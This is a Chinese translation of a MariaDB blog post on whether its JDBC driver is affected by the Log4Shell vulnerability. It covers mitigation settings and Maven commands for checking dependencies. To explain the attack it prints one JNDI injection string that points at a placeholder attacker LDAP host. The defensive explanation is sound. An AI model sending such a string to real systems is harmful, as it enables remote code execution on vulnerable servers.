原文地址:https://mariadb.com/resources/blog/is-the-mariadb-jdbc-driver-affected-by-the-log4j-vulnerability/
原文作者:Alejandro Duarte
MariaDB Java 連接器 是否受 Log4j 最近發現的安全漏洞影響?默認情況下,Java 連接器不使用 Log4j。但是,如果您已經將其配置為使用 SLF4j,請繼續閱讀。
有關 MariaDB JDBC 驅動程序范圍之外的信息,請閱讀 Log4Shell 和 MariaDB。
注:本博客更新于2021-12-15,包括關于 CVE-2021-45046 的細節。
Log4j 脆弱性
Apache Log4j 是一個流行的用于Java應用程序的開源日志框架。它被用于各種開源和企業項目,包括云供應商和電子郵件服務提供商。2021年12月9日,在Log4j中發現了一個可以導致遠程代碼執行的0天漏洞,允許黑客在系統中執行任意代碼。該漏洞被稱為“Log4Shell”,被跟蹤為 CVE-2021-44228。
簡而言之,該漏洞允許攻擊者注入 JNDI 查找字符串,并且調用它,例如,遠程 LDAP 服務器(被攻擊者控制),后者返回一個惡意的Java類:
${jndi:ldap://[attacker_site]/[malicious_java_class]}
如果 Log4j 記錄了這樣的字符串,惡意 Java 類就可以運行任意代碼 (例如,通過靜態代碼塊)。
版本影響
幸運的是,只有 Log4j 2.x 版本,2.15.0之前版本受到影響。有關更多信息,請參閱 Apache Log4j 安全漏洞 頁面。該漏洞在 Log4j 1.x 版本中不存在。
如何減輕 CVE-2021-44228
減輕該漏洞的最佳策略是更新項目中的 Log4j 依賴項。版本 2.16.0 中已經移除消息查找,并已發布版本。感謝團隊的快速發布。
更新:Log4j 2.16.0 還修復了跟蹤的第二個漏洞 CVE-2021-45046。
MariaDB JDBC 驅動程序沒有使用Log4j 2.x。但是,它支持 SLF4J。檢查你是否使用了綁定 Log4j 的 SLF4J。如果是,升級相應地 Log4j 或設置以下配置變量:
-Dlog4j2.formatMsgNoLookups=true
或者,設定下面的環境變量:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
注意:日志記錄僅在由 log 參數顯式設置時啟用。除了 Log4j,你也可以選擇其他的 SLF4J 綁定,比如 Jakarta Commons Logging, Logback,或者 Java Logging API。
如果你正在使用 Maven,你可以運行以下命令來確定你的項目是否依賴于 Log4j:
mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core
下面這個例子是你在一個脆弱項目中可能得到的輸出:

如果由于某些原因你的項目不能編譯,你也可以運行:
mvn help:effective-pom
搜索 log4j-core 依賴項并檢查使用的版本。
更多信息
博客鏈接列表:




